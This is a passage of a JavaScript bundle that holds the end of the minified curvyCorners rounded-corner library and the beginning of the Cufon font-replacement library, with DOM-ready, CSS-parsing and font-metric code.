H=this.spec.get("tR");var M=this.spec.get("bR");var W=function(f){if(typeof f==="number"){return f}if(typeof f!=="string"){throw new Error("unexpected styleToNPx type "+typeof f)}var d=/^[-\d.]([a-z]+)$/.exec(f);if(d&&d[1]!="px"){throw new Error("Unexpected unit "+d[1])}if(isNaN(f=parseInt(f))){f=0}return f};var T=function(d){return d<=0?"0":d+"px"};try{this.borderWidth=W(b);this.borderWidthB=W(J);this.borderWidthL=W(D);this.borderWidthR=W(B);this.boxColour=curvyObject.format_colour(E);this.topPadding=W(Z);this.bottomPadding=W(c);this.leftPadding=W(Q);this.rightPadding=W(a);this.boxWidth=K;this.boxHeight=this.box.clientHeight;this.borderColour=curvyObject.format_colour(I);this.borderColourB=curvyObject.format_colour(G);this.borderColourL=curvyObject.format_colour(A);this.borderString=this.borderWidth+"px solid "+this.borderColour;this.borderStringB=this.borderWidthB+"px solid "+this.borderColourB;this.backgroundImage=((C!="none")?C:"");this.backgroundRepeat=Y}catch(X){throw this.newError("getMessage" in X?X.getMessage():X.message)}var F=this.boxHeight;var V=K;if(curvyBrowser.isOp){R=W(R);P=W(P);if(R){var N=V+this.borderWidthL+this.borderWidthR;if(R>N){R=N}R=(N/R*100)+"%"}if(P){var N=F+this.borderWidth+this.borderWidthB;if(P>N){P=N}P=(N/P*100)+"%"}}if(curvyBrowser.quirksMode){}else{this.boxWidth-=this.leftPadding+this.rightPadding;this.boxHeight-=this.topPadding+this.bottomPadding}this.contentContainer=document.createElement("div");if(filter){this.contentContainer.style.filter=filter}while(this.box.firstChild){this.contentContainer.appendChild(this.box.removeChild(this.box.firstChild))}if(O!="absolute"){this.box.style.position="relative"}this.box.style.padding="0";this.box.style.border=this.box.style.backgroundImage="none";this.box.style.backgroundColor="transparent";this.box.style.width=(V+this.borderWidthL+this.borderWidthR)+"px";this.box.style.height=(F+this.borderWidth+this.borderWidthB)+"px";var L=document.createElement("div");L.style.position="absolute";if(filter){L.style.filter=filter}if(curvyBrowser.quirksMode){L.style.width=(V+this.borderWidthL+this.borderWidthR)+"px"}else{L.style.width=V+"px"}L.style.height=T(F+this.borderWidth+this.borderWidthB-H-M);L.style.padding="0";L.style.top=H+"px";L.style.left="0";if(this.borderWidthL){L.style.borderLeft=this.borderWidthL+"px solid "+this.borderColourL}if(this.borderWidth&&!H){L.style.borderTop=this.borderWidth+"px solid "+this.borderColour}if(this.borderWidthR){L.style.borderRight=this.borderWidthR+"px solid "+this.borderColourL}if(this.borderWidthB&&!M){L.style.borderBottom=this.borderWidthB+"px solid "+this.borderColourB}L.style.backgroundColor=E;L.style.backgroundImage=this.backgroundImage;L.style.backgroundRepeat=this.backgroundRepeat;this.shell=this.box.appendChild(L);K=curvyBrowser.get_style(this.shell,"width");if(K===""||K==="auto"||K.indexOf("%")!==-1){throw this.newError("Shell width is "+K)}this.boxWidth=(K!=""&&K!="auto"&&K.indexOf("%")==-1)?parseInt(K):this.shell.clientWidth;this.applyCorners=function(){if(this.backgroundObject){var w=function(AO,i,t){if(AO===0){return 0}var k;if(AO==="right"||AO==="bottom"){return t-i}if(AO==="center"){return(t-i)/2}if(AO.indexOf("%")>0){return(t-i)*100/parseInt(AO)}return W(AO)};this.backgroundPosX=w(R,this.backgroundObject.width,V);this.backgroundPosY=w(P,this.backgroundObject.height,F)}else{if(this.backgroundImage){this.backgroundPosX=W(R);this.backgroundPosY=W(P)}}if(H){v=document.createElement("div");v.style.width=this.boxWidth+"px";v.style.fontSize="1px";v.style.overflow="hidden";v.style.position="absolute";v.style.paddingLeft=this.borderWidth+"px";v.style.paddingRight=this.borderWidth+"px";v.style.height=H+"px";v.style.top=-H+"px";v.style.left=-this.borderWidthL+"px";this.topContainer=this.shell.appendChild(v)}if(M){var v=document.createElement("div");v.style.width=this.boxWidth+"px";v.style.fontSize="1px";v.style.overflow="hidden";v.style.position="absolute";v.style.paddingLeft=this.borderWidthB+"px";v.style.paddingRight=this.borderWidthB+"px";v.style.height=M+"px";v.style.bottom=-M+"px";v.style.left=-this.borderWidthL+"px";this.bottomContainer=this.shell.appendChild(v)}var AG=this.spec.cornerNames();for(var AK in AG){if(!isNaN(AK)){var AC=AG[AK];var AD=this.spec[AC+"R"];var AE,AH,j,AF;if(AC=="tr"||AC=="tl"){AE=this.borderWidth;AH=this.borderColour;AF=this.borderWidth}else{AE=this.borderWidthB;AH=this.borderColourB;AF=this.borderWidthB}j=AD-AF;var u=document.createElement("div");u.style.height=this.spec.get(AC+"Ru");u.style.width=this.spec.get(AC+"Ru");u.style.position="absolute";u.style.fontSize="1px";u.style.overflow="hidden";var r,q,p;var n=filter?parseInt(/alpha\(opacity.(\d+)\)/.exec(filter)[1]):100;for(r=0;r<AD;++r){var m=(r+1>=j)?-1:Math.floor(Math.sqrt(Math.pow(j,2)-Math.pow(r+1,2)))-1;if(j!=AD){var h=(r>=j)?-1:Math.ceil(Math.sqrt(Math.pow(j,2)-Math.pow(r,2)));var f=(r+1>=AD)?-1:Math.floor(Math.sqrt(Math.pow(AD,2)-Math.pow((r+1),2)))-1}var d=(r>=AD)?-1:Math.ceil(Math.sqrt(Math.pow(AD,2)-Math.pow(r,2)));if(m>-1){this.drawPixel(r,0,this.boxColour,n,(m+1),u,true,AD)}if(j!=AD){if(this.spec.antiAlias){for(q=m+1;q<h;++q){if(this.backgroundImage!=""){var g=curvyObject.pixelFraction(r,q,j)*100;this.drawPixel(r,q,AH,n,1,u,g>=30,AD)}else{if(this.boxColour!=="transparent"){var AB=curvyObject.BlendColour(this.boxColour,AH,curvyObject.pixelFraction(r,q,j));this.drawPixel(r,q,AB,n,1,u,false,AD)}else{this.drawPixel(r,q,AH,n>>1,1,u,false,AD)}}}if(f>=h){if(h==-1){h=0}this.drawPixel(r,h,AH,n,(f-h+1),u,false,0)}p=AH;q=f}else{if(f>m){this.drawPixel(r,(m+1),AH,n,(f-m),u,false,0)}}}else{p=this.boxColour;q=m}if(this.spec.antiAlias){while(++q<d){this.drawPixel(r,q,p,(curvyObject.pixelFraction(r,q,AD)*n),1,u,AF<=0,AD)}}}for(var y=0,AJ=u.childNodes.length;y<AJ;++y){var s=u.childNodes[y];var AI=parseInt(s.style.top);var AM=parseInt(s.style.left);var AN=parseInt(s.style.height);if(AC=="tl"||AC=="bl"){s.style.left=(AD-AM-1)+"px"}if(AC=="tr"||AC=="tl"){s.style.top=(AD-AN-AI)+"px"}s.style.backgroundRepeat=this.backgroundRepeat;if(this.backgroundImage){switch(AC){case"tr":s.style.backgroundPosition=(this.backgroundPosX-this.borderWidthL+AD-V-AM)+"px "+(this.backgroundPosY+AN+AI+this.borderWidth-AD)+"px";break;case"tl":s.style.backgroundPosition=(this.backgroundPosX-AD+AM+this.borderWidthL)+"px "+(this.backgroundPosY-AD+AN+AI+this.borderWidth)+"px";break;case"bl":s.style.backgroundPosition=(this.backgroundPosX-AD+AM+1+this.borderWidthL)+"px "+(this.backgroundPosY-F-this.borderWidth+(curvyBrowser.quirksMode?AI:-AI)+AD)+"px";break;case"br":if(curvyBrowser.quirksMode){s.style.backgroundPosition=(this.backgroundPosX+this.borderWidthL-V+AD-AM)+"px "+(this.backgroundPosY-F-this.borderWidth+AI+AD)+"px"}else{s.style.backgroundPosition=(this.backgroundPosX-this.borderWidthL-V+AD-AM)+"px "+(this.backgroundPosY-F-this.borderWidth+AD-AI)+"px"}}}}switch(AC){case"tl":u.style.top=u.style.left="0";this.topContainer.appendChild(u);break;case"tr":u.style.top=u.style.right="0";this.topContainer.appendChild(u);break;case"bl":u.style.bottom=u.style.left="0";this.bottomContainer.appendChild(u);break;case"br":u.style.bottom=u.style.right="0";this.bottomContainer.appendChild(u)}}}var x={t:this.spec.radiusdiff("t"),b:this.spec.radiusdiff("b")};for(z in x){if(typeof z==="function"){continue}if(!this.spec.get(z+"R")){continue}if(x[z]){if(this.backgroundImage&&this.spec.radiusSum(z)!==x[z]){curvyCorners.alert(this.errmsg("Not supported: unequal non-zero top/bottom radii with background image"))}var AL=(this.spec[z+"lR"]<this.spec[z+"rR"])?z+"l":z+"r";var l=document.createElement("div");l.style.height=x[z]+"px";l.style.width=this.spec.get(AL+"Ru");l.style.position="absolute";l.style.fontSize="1px";l.style.overflow="hidden";l.style.backgroundColor=this.boxColour;switch(AL){case"tl":l.style.bottom=l.style.left="0";l.style.borderLeft=this.borderString;this.topContainer.appendChild(l);break;case"tr":l.style.bottom=l.style.right="0";l.style.borderRight=this.borderString;this.topContainer.appendChild(l);break;case"bl":l.style.top=l.style.left="0";l.style.borderLeft=this.borderStringB;this.bottomContainer.appendChild(l);break;case"br":l.style.top=l.style.right="0";l.style.borderRight=this.borderStringB;this.bottomContainer.appendChild(l)}}var o=document.createElement("div");if(filter){o.style.filter=filter}o.style.position="relative";o.style.fontSize="1px";o.style.overflow="hidden";o.style.width=this.fillerWidth(z);o.style.backgroundColor=this.boxColour;o.style.backgroundImage=this.backgroundImage;o.style.backgroundRepeat=this.backgroundRepeat;switch(z){case"t":if(this.topContainer){if(curvyBrowser.quirksMode){o.style.height=100+H+"px"}else{o.style.height=100+H-this.borderWidth+"px"}o.style.marginLeft=this.spec.tlR?(this.spec.tlR-this.borderWidthL)+"px":"0";o.style.borderTop=this.borderString;if(this.backgroundImage){var AA=this.spec.tlR?(this.backgroundPosX-(H-this.borderWidthL))+"px ":"0 ";o.style.backgroundPosition=AA+this.backgroundPosY+"px";this.shell.style.backgroundPosition=this.backgroundPosX+"px "+(this.backgroundPosY-H+this.borderWidthL)+"px"}this.topContainer.appendChild(o)}break;case"b":if(this.bottomContainer){if(curvyBrowser.quirksMode){o.style.height=M+"px"}else{o.style.height=M-this.borderWidthB+"px"}o.style.marginLeft=this.spec.blR?(this.spec.blR-this.borderWidthL)+"px":"0";o.style.borderBottom=this.borderStringB;if(this.backgroundImage){var AA=this.spec.blR?(this.backgroundPosX+this.borderWidthL-M)+"px ":this.backgroundPosX+"px ";o.style.backgroundPosition=AA+(this.backgroundPosY-F-this.borderWidth+M)+"px"}this.bottomContainer.appendChild(o)}}}this.contentContainer.style.position="absolute";this.contentContainer.className="autoPadDiv";this.contentContainer.style.left=this.borderWidthL+"px";this.contentContainer.style.paddingTop=this.topPadding+"px";this.contentContainer.style.top=this.borderWidth+"px";this.contentContainer.style.paddingLeft=this.leftPadding+"px";this.contentContainer.style.paddingRight=this.rightPadding+"px";z=V;if(!curvyBrowser.quirksMode){z-=this.leftPadding+this.rightPadding}this.contentContainer.style.width=z+"px";this.contentContainer.style.textAlign=curvyBrowser.get_style(this.box,"textAlign");this.box.style.textAlign="left";this.box.appendChild(this.contentContainer);if(U){U.style.display="none"}};if(this.backgroundImage){R=this.backgroundCheck(R);P=this.backgroundCheck(P);if(this.backgroundObject){this.backgroundObject.holdingElement=this;this.dispatch=this.applyCorners;this.applyCorners=function(){if(this.backgroundObject.complete){this.dispatch()}else{this.backgroundObject.onload=new Function("curvyObject.dispatch(this.holdingElement);")}}}}}curvyObject.prototype.backgroundCheck=function(B){if(B==="top"||B==="left"||parseInt(B)===0){return 0}if(!(/^[-\d.]+px$/.test(B))&&!this.backgroundObject){this.backgroundObject=new Image;var A=function(D){var C=/url\("?([^'"]+)"?\)/.exec(D);return(C?C[1]:D)};this.backgroundObject.src=A(this.backgroundImage)}return B};curvyObject.dispatch=function(A){if("dispatch" in A){A.dispatch()}else{throw A.newError("No dispatch function")}};curvyObject.prototype.drawPixel=function(J,G,A,F,H,I,C,E){var B=document.createElement("div");B.style.height=H+"px";B.style.width="1px";B.style.position="absolute";B.style.fontSize="1px";B.style.overflow="hidden";var D=this.spec.get("tR");B.style.backgroundColor=A;if(C&&this.backgroundImage!=""){B.style.backgroundImage=this.backgroundImage;B.style.backgroundPosition="-"+(this.boxWidth-(E-J)+this.borderWidth)+"px -"+((this.boxHeight+D+G)-this.borderWidth)+"px"}if(F!=100){curvyObject.setOpacity(B,F)}B.style.top=G+"px";B.style.left=J+"px";I.appendChild(B)};curvyObject.prototype.fillerWidth=function(A){var B=curvyBrowser.quirksMode?0:this.spec.radiusCount(A)*this.borderWidthL;return(this.boxWidth-this.spec.radiusSum(A)+B)+"px"};curvyObject.prototype.errmsg=function(C,D){var B="\ntag: "+this.box.tagName;if(this.box.id){B+="\nid: "+this.box.id}if(this.box.className){B+="\nclass: "+this.box.className}var A;if((A=this.box.parentNode)===null){B+="\n(box has no parent)"}else{B+="\nParent tag: "+A.tagName;if(A.id){B+="\nParent ID: "+A.id}if(A.className){B+="\nParent class: "+A.className}}if(D===undefined){D="warning"}return"curvyObject "+D+":\n"+C+B};curvyObject.prototype.newError=function(A){return new Error(this.errmsg(A,"exception"))};curvyObject.IntToHex=function(B){var A=["0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"];return A[B>>>4]+""+A[B&15]};curvyObject.BlendColour=function(L,J,G){if(L==="transparent"||J==="transparent"){throw this.newError("Cannot blend with transparent")}if(L.charAt(0)!=="#"){L=curvyObject.format_colour(L)}if(J.charAt(0)!=="#"){J=curvyObject.format_colour(J)}var D=parseInt(L.substr(1,2),16);var K=parseInt(L.substr(3,2),16);var F=parseInt(L.substr(5,2),16);var C=parseInt(J.substr(1,2),16);var I=parseInt(J.substr(3,2),16);var E=parseInt(J.substr(5,2),16);if(G>1||G<0){G=1}var H=Math.round((D*G)+(C*(1-G)));if(H>255){H=255}if(H<0){H=0}var B=Math.round((K*G)+(I*(1-G)));if(B>255){B=255}if(B<0){B=0}var A=Math.round((F*G)+(E*(1-G)));if(A>255){A=255}if(A<0){A=0}return"#"+curvyObject.IntToHex(H)+curvyObject.IntToHex(B)+curvyObject.IntToHex(A)};curvyObject.pixelFraction=function(H,G,A){var J;var E=A*A;var B=new Array(2);var F=new Array(2);var I=0;var C="";var D=Math.sqrt(E-Math.pow(H,2));if(D>=G&&D<(G+1)){C="Left";B[I]=0;F[I]=D-G;++I}D=Math.sqrt(E-Math.pow(G+1,2));if(D>=H&&D<(H+1)){C+="Top";B[I]=D-H;F[I]=1;++I}D=Math.sqrt(E-Math.pow(H+1,2));if(D>=G&&D<(G+1)){C+="Right";B[I]=1;F[I]=D-G;++I}D=Math.sqrt(E-Math.pow(G,2));if(D>=H&&D<(H+1)){C+="Bottom";B[I]=D-H;F[I]=0}switch(C){case"LeftRight":J=Math.min(F[0],F[1])+((Math.max(F[0],F[1])-Math.min(F[0],F[1]))/2);break;case"TopRight":J=1-(((1-B[0])*(1-F[1]))/2);break;case"TopBottom":J=Math.min(B[0],B[1])+((Math.max(B[0],B[1])-Math.min(B[0],B[1]))/2);break;case"LeftBottom":J=F[0]*B[1]/2;break;default:J=1}return J};curvyObject.rgb2Array=function(A){var B=A.substring(4,A.indexOf(")"));return B.split(", ")};curvyObject.rgb2Hex=function(B){try{var C=curvyObject.rgb2Array(B);var G=parseInt(C[0]);var E=parseInt(C[1]);var A=parseInt(C[2]);var D="#"+curvyObject.IntToHex(G)+curvyObject.IntToHex(E)+curvyObject.IntToHex(A)}catch(F){var H="getMessage" in F?F.getMessage():F.message;throw new Error("Error ("+H+") converting RGB value to Hex in rgb2Hex")}return D};curvyObject.setOpacity=function(F,C){C=(C==100)?99.999:C;if(curvyBrowser.isSafari&&F.tagName!="IFRAME"){var B=curvyObject.rgb2Array(F.style.backgroundColor);var E=parseInt(B[0]);var D=parseInt(B[1]);var A=parseInt(B[2]);F.style.backgroundColor="rgba("+E+", "+D+", "+A+", "+C/100+")"}else{if(typeof F.style.opacity!=="undefined"){F.style.opacity=C/100}else{if(typeof F.style.MozOpacity!=="undefined"){F.style.MozOpacity=C/100}else{if(typeof F.style.filter!="undefined"){F.style.filter="alpha(opacity="+C+")"}else{if(typeof F.style.KHTMLOpacity!="undefined"){F.style.KHTMLOpacity=C/100}}}}}};function addEvent(D,C,B,A){if(D.addEventListener){D.addEventListener(C,B,A);return true}if(D.attachEvent){return D.attachEvent("on"+C,B)}D["on"+C]=B;return false}curvyObject.getComputedColour=function(E){var F=document.createElement("DIV");F.style.backgroundColor=E;document.body.appendChild(F);if(window.getComputedStyle){var D=document.defaultView.getComputedStyle(F,null).getPropertyValue("background-color");F.parentNode.removeChild(F);if(D.substr(0,3)==="rgb"){D=curvyObject.rgb2Hex(D)}return D}else{var A=document.body.createTextRange();A.moveToElementText(F);A.execCommand("ForeColor",false,E);var B=A.queryCommandValue("ForeColor");var C="rgb("+(B&255)+", "+((B&65280)>>8)+", "+((B&16711680)>>16)+")";F.parentNode.removeChild(F);A=null;return curvyObject.rgb2Hex(C)}};curvyObject.format_colour=function(A){if(A!=""&&A!="transparent"){if(A.substr(0,3)==="rgb"){A=curvyObject.rgb2Hex(A)}else{if(A.charAt(0)!=="#"){A=curvyObject.getComputedColour(A)}else{if(A.length===4){A="#"+A.charAt(1)+A.charAt(1)+A.charAt(2)+A.charAt(2)+A.charAt(3)+A.charAt(3)}}}}return A};curvyCorners.getElementsByClass=function(H,F){var E=new Array;if(F===undefined){F=document}H=H.split(".");var A="*";if(H.length===1){A=H[0];H=false}else{if(H[0]){A=H[0]}H=H[1]}var D,C,B;if(A.charAt(0)==="#"){C=document.getElementById(A.substr(1));if(C){E.push(C)}}else{C=F.getElementsByTagName(A);B=C.length;if(H){var G=new RegExp("(^|\\s)"+H+"(\\s|$)");for(D=0;D<B;++D){if(G.test(C[D].className)){E.push(C[D])}}}else{for(D=0;D<B;++D){E.push(C[D])}}}return E};if(curvyBrowser.isMoz||curvyBrowser.isWebKit){var curvyCornersNoAutoScan=true}else{curvyCorners.scanStyles=function(){function B(F){var G=/^[\d.]+(\w+)$/.exec(F);return G[1]}var E,D,C;if(curvyBrowser.isIE){function A(L){var J=L.style;if(curvyBrowser.ieVer>6){var H=J["-webkit-border-radius"]||0;var K=J["-webkit-border-top-right-radius"]||0;var F=J["-webkit-border-top-left-radius"]||0;var G=J["-webkit-border-bottom-right-radius"]||0;var M=J["-webkit-border-bottom-left-radius"]||0}else{var H=J["webkit-border-radius"]||0;var K=J["webkit-border-top-right-radius"]||0;var F=J["webkit-border-top-left-radius"]||0;var G=J["webkit-border-bottom-right-radius"]||0;var M=J["webkit-border-bottom-left-radius"]||0}if(H||F||K||G||M){var I=new curvyCnrSpec(L.selectorText);if(H){I.setcorner(null,null,parseInt(H),B(H))}else{if(K){I.setcorner("t","r",parseInt(K),B(K))}if(F){I.setcorner("t","l",parseInt(F),B(F))}if(M){I.setcorner("b","l",parseInt(M),B(M))}if(G){I.setcorner("b","r",parseInt(G),B(G))}}curvyCorners(I)}}for(E=0;E<document.styleSheets.length;++E){if(document.styleSheets[E].imports){for(D=0;D<document.styleSheets[E].imports.length;++D){for(C=0;C<document.styleSheets[E].imports[D].rules.length;++C){A(document.styleSheets[E].imports[D].rules[C])}}}for(D=0;D<document.styleSheets[E].rules.length;++D){A(document.styleSheets[E].rules[D])}}}else{if(curvyBrowser.isOp){for(E=0;E<document.styleSheets.length;++E){if(operasheet.contains_border_radius(E)){C=new operasheet(E);for(D in C.rules){if(!isNaN(D)){curvyCorners(C.rules[D])}}}}}else{curvyCorners.alert("Scanstyles does nothing in Webkit/Firefox")}}};curvyCorners.init=function(){if(arguments.callee.done){return}arguments.callee.done=true;if(curvyBrowser.isWebKit&&curvyCorners.init.timer){clearInterval(curvyCorners.init.timer);curvyCorners.init.timer=null}curvyCorners.scanStyles()}}if(typeof curvyCornersNoAutoScan==="undefined"||curvyCornersNoAutoScan===false){if(curvyBrowser.isOp){document.addEventListener("DOMContentLoaded",curvyCorners.init,false)}else{addEvent(window,"load",curvyCorners.init,false)}};

/*!
 * Copyright (c) 2009 Simo Kinnunen.
 * Licensed under the MIT license.
 *
 * @version ${Version}
 */

var Cufon = (function() {

	var api = function() {
		return api.replace.apply(null, arguments);
	};

	var DOM = api.DOM = {

		ready: (function() {

			var complete = false, readyStatus = { loaded: 1, complete: 1 };

			var queue = [], perform = function() {
				if (complete) return;
				complete = true;
				for (var fn; fn = queue.shift(); fn());
			};

			// Gecko, Opera, WebKit r26101+

			if (document.addEventListener) {
				document.addEventListener('DOMContentLoaded', perform, false);
				window.addEventListener('pageshow', perform, false); // For cached Gecko pages
			}

			// Old WebKit, Internet Explorer

			if (!window.opera && document.readyState) (function() {
				readyStatus[document.readyState] ? perform() : setTimeout(arguments.callee, 10);
			})();

			// Internet Explorer

			if (document.readyState && document.createStyleSheet) (function() {
				try {
					document.body.doScroll('left');
					perform();
				}
				catch (e) {
					setTimeout(arguments.callee, 1);
				}
			})();

			addEvent(window, 'load', perform); // Fallback

			return function(listener) {
				if (!arguments.length) perform();
				else complete ? listener() : queue.push(listener);
			};

		})(),

		root: function() {
			return document.documentElement || document.body;
		}

	};

	var CSS = api.CSS = {

		Size: function(value, base) {

			this.value = parseFloat(value);
			this.unit = String(value).match(/[a-z%]*$/)[0] || 'px';

			this.convert = function(value) {
				return value / base * this.value;
			};

			this.convertFrom = function(value) {
				return value / this.value * base;
			};

			this.toString = function() {
				return this.value + this.unit;
			};

		},

		addClass: function(el, className) {
			var current = el.className;
			el.className = current + (current && ' ') + className;
			return el;
		},

		color: cached(function(value) {
			var parsed = {};
			parsed.color = value.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function($0, $1, $2) {
				parsed.opacity = parseFloat($2);
				return 'rgb(' + $1 + ')';
			});
			return parsed;
		}),

		// has no direct CSS equivalent.
		// @see http://msdn.microsoft.com/en-us/library/system.windows.fontstretches.aspx
		fontStretch: cached(function(value) {
			if (typeof value == 'number') return value;
			if (/%$/.test(value)) return parseFloat(value) / 100;
			return {
				'ultra-condensed': 0.5,
				'extra-condensed': 0.625,
				condensed: 0.75,
				'semi-condensed': 0.875,
				'semi-expanded': 1.125,
				expanded: 1.25,
				'extra-expanded': 1.5,
				'ultra-expanded': 2
			}[value] || 1;
		}),

		getStyle: function(el) {
			var view = document.defaultView;
			if (view && view.getComputedStyle) return new Style(view.getComputedStyle(el, null));
			if (el.currentStyle) return new Style(el.currentStyle);
			return new Style(el.style);
		},

		gradient: cached(function(value) {
			var gradient = {
				id: value,
				type: value.match(/^-([a-z]+)-gradient\(/)[1],
				stops: []
			}, colors = value.substr(value.indexOf('(')).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
			for (var i = 0, l = colors.length, stop; i < l; ++i) {
				stop = colors[i].split('=', 2).reverse();
				gradient.stops.push([ stop[1] || i / (l - 1), stop[0] ]);
			}
			return gradient;
		}),

		quotedList: cached(function(value) {
			// doesn't work properly with empty quoted strings (""), but
			// it's not worth the extra code.
			var list = [], re = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g, match;
			while (match = re.exec(value)) list.push(match[3] || match[1]);
			return list;
		}),

		recognizesMedia: cached(function(media) {
			var el = document.createElement('style'), sheet, container, supported;
			el.type = 'text/css';
			el.media = media;
			try { // this is cached anyway
				el.appendChild(document.createTextNode('/**/'));
			} catch (e) {}
			container = elementsByTagName('head')[0];
			container.insertBefore(el, container.firstChild);
			sheet = (el.sheet || el.styleSheet);
			supported = sheet && !sheet.disabled;
			container.removeChild(el);
			return supported;
		}),

		removeClass: function(el, className) {
			var re = RegExp('(?:^|\\s+)' + className +  '(?=\\s|$)', 'g');
			el.className = el.className.replace(re, '');
			return el;
		},

		supports: function(property, value) {
			var checker = document.createElement('span').style;
			if (checker[property] === undefined) return false;
			checker[property] = value;
			return checker[property] === value;
		},

		textAlign: function(word, style, position, wordCount) {
			if (style.get('textAlign') == 'right') {
				if (position > 0) word = ' ' + word;
			}
			else if (position < wordCount - 1) word += ' ';
			return word;
		},

		textShadow: cached(function(value) {
			if (value == 'none') return null;
			var shadows = [], currentShadow = {}, result, offCount = 0;
			var re = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;
			while (result = re.exec(value)) {
				if (result[0] == ',') {
					shadows.push(currentShadow);
					currentShadow = {};
					offCount = 0;
				}
				else if (result[1]) {
					currentShadow.color = result[1];
				}
				else {
					currentShadow[[ 'offX', 'offY', 'blur' ][offCount++]] = result[2];
				}
			}
			shadows.push(currentShadow);
			return shadows;
		}),

		textTransform: (function() {
			var map = {
				uppercase: function(s) {
					return s.toUpperCase();
				},
				lowercase: function(s) {
					return s.toLowerCase();
				},
				capitalize: function(s) {
					return s.replace(/\b./g, function($0) {
						return $0.toUpperCase();
					});
				}
			};
			return function(text, style) {
				var transform = map[style.get('textTransform')];
				return transform ? transform(text) : text;
			};
		})(),

		whiteSpace: (function() {
			var ignore = {
				inline: 1,
				'inline-block': 1,
				'run-in': 1
			};
			var wsStart = /^\s+/, wsEnd = /\s+$/;
			return function(text, style, node, previousElement) {
				if (previousElement) {
					if (previousElement.nodeName.toLowerCase() == 'br') {
						text = text.replace(wsStart, '');
					}
				}
				if (ignore[style.get('display')]) return text;
				if (!node.previousSibling) text = text.replace(wsStart, '');
				if (!node.nextSibling) text = text.replace(wsEnd, '');
				return text;
			};
		})()

	};

	CSS.ready = (function() {

		// don't do anything in Safari 2 (it doesn't recognize any media type)
		var complete = !CSS.recognizesMedia('all'), hasLayout = false;

		var queue = [], perform = function() {
			complete = true;
			for (var fn; fn = queue.shift(); fn());
		};

		var links = elementsByTagName('link'), styles = elementsByTagName('style');

		function isContainerReady(el) {
			return el.disabled || isSheetReady(el.sheet, el.media || 'screen');
		}

		function isSheetReady(sheet, media) {
			// in Opera sheet.disabled is true when it's still loading,
			// even though link.disabled is false. they stay in sync if
			// set manually.
			if (!CSS.recognizesMedia(media || 'all')) return true;
			if (!sheet || sheet.disabled) return false;
			try {
				var rules = sheet.cssRules, rule;
				if (rules) {
					// needed for Safari 3 and Chrome 1.0.
					// in standards-conforming browsers cssRules contains @-rules.
					// Chrome 1.0 weirdness: rules[<number larger than .length - 1>]
					// returns the last rule, so a for loop is the only option.
					search: for (var i = 0, l = rules.length; rule = rules[i], i < l; ++i) {
						switch (rule.type) {
							case 2: // @charset
								break;
							case 3: // @import
								if (!isSheetReady(rule.styleSheet, rule.media.mediaText)) return false;
								break;
							default:
								// only @charset can precede @import
								break search;
						}
					}
				}
			}
			catch (e) {} // probably a style sheet from another domain
			return true;
		}

		function allStylesLoaded() {
			// Internet Explorer's style sheet model, there's no need to do anything
			if (document.createStyleSheet) return true;
			// standards-compliant browsers
			var el, i;
			for (i = 0; el = links[i]; ++i) {
				if (el.rel.toLowerCase() == 'stylesheet' && !isContainerReady(el)) return false;
			}
			for (i = 0; el = styles[i]; ++i) {
				if (!isContainerReady(el)) return false;
			}
			return true;
		}

		DOM.ready(function() {
			// getComputedStyle returns null in Gecko if used in an iframe with display: none
			if (!hasLayout) hasLayout = CSS.getStyle(document.body).isUsable();
			if (complete || (hasLayout && allStylesLoaded())) perform();
			else setTimeout(arguments.callee, 10);
		});

		return function(listener) {
			if (complete) listener();
			else queue.push(listener);
		};

	})();

	function Font(data) {

		var face = this.face = data.face, wordSeparators = {
			'\u0020': 1,
			'\u00a0': 1,
			'\u3000': 1
		};

		this.glyphs = data.glyphs;
		this.w = data.w;
		this.baseSize = parseInt(face['units-per-em'], 10);

		this.family = face['font-family'].toLowerCase();
		this.weight = face['font-weight'];
		this.style = face['font-style'] || 'normal';

		this.viewBox = (function () {
			var parts = face.bbox.split(/\s+/);
			var box = {
				minX: parseInt(parts[0], 10),
				minY: parseInt(parts[1], 10),
				maxX: parseInt(parts[2], 10),
				maxY: parseInt(parts[3], 10)
			};
			box.width = box.maxX - box.minX;
			box.height = box.maxY - box.minY;
			box.toString = function() {
				return [ this.minX, this.minY, this.width, this.height ].join(' ');
			};
			return box;
		})();

		this.ascent = -parseInt(face.ascent, 10);
		this.descent = -parseInt(face.descent, 10);

		this.height = -this.ascent + this.descent;

		this.spacing = function(chars, letterSpacing, wordSpacing) {
			var glyphs = this.glyphs, glyph,
				kerning, k,
				jumps = [],
				width = 0, w,
				i = -1, j = -1, chr;
			while (chr = chars[++i]) {
				glyph = glyphs[chr] || this.missingGlyph;
				if (!glyph) continue;
				if (kerning) {
					width -= k = kerning[chr] || 0;
					jumps[j] -= k;
				}
				w = glyph.w;
				if (isNaN(w)) w = +this.w; // may have been a String in old fonts
				if (w > 0) {
					w += letterSpacing;
					if (wordSeparators[chr]) w += wordSpacing;
				}
				width += jumps[++j] = ~~w; // get rid of decimals
				kerning = glyph.k;
			}
			jumps.total = width;
			return jumps;
		};

	}

	function FontFamily() {

		var styles = {}, mapping = {
			oblique: 'italic',
			italic: 'oblique'
		};

		this.add = function(font) {
			(styles[font.style] || (styles[font.style] = {}))[font.weight] = font;
		};

		this.get = function(style, weight) {
			var weights = styles[style] || styles[mapping[style]]
				|| styles.normal || styles.italic || styles.oblique;
			if (!weights) return null;
			// we don't have to worry about "bolder" and "lighter"
			// because IE's currentStyle returns a numeric value for it,
			// and other browsers use the computed value anyway
			weight = {
				normal: 400,
				bold: 700
			}[weight] || parseInt(weight, 10);
			if (weights[weight]) return weights[weight];
			// http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight
			// Gecko uses x99/x01 for lighter/bolder
			var up = {
				1: 1,
				99: 0
			}[weight % 100], alts = [], min, max;
			if (up === undefined) up = weight > 400;
			if (weight == 500) weight = 400;
			for (var alt in weights) {
				if (!hasOwnProperty(weights, alt)) continue;
				alt = parseInt(alt, 10);
				if (!min || alt < min) min = alt;
				if (!max || alt > max) max = alt;
				alts.push(alt);
			}
			if (weight < min) weight = min;
			if (weight > max) weight = max;
			alts.sort(function(a, b) {
				return (up
					? (a >= weight && b >= weight) ? a < b : a > b
					: (a <= weight && b <= weight) ? a > b : a < b) ? -1 : 1;
			});
			return weights[alts[0]];
		};

	}

	function HoverHandler() {

		function contains(node, anotherNode) {
			try {
				if (node.contains) return node.contains(anotherNode);
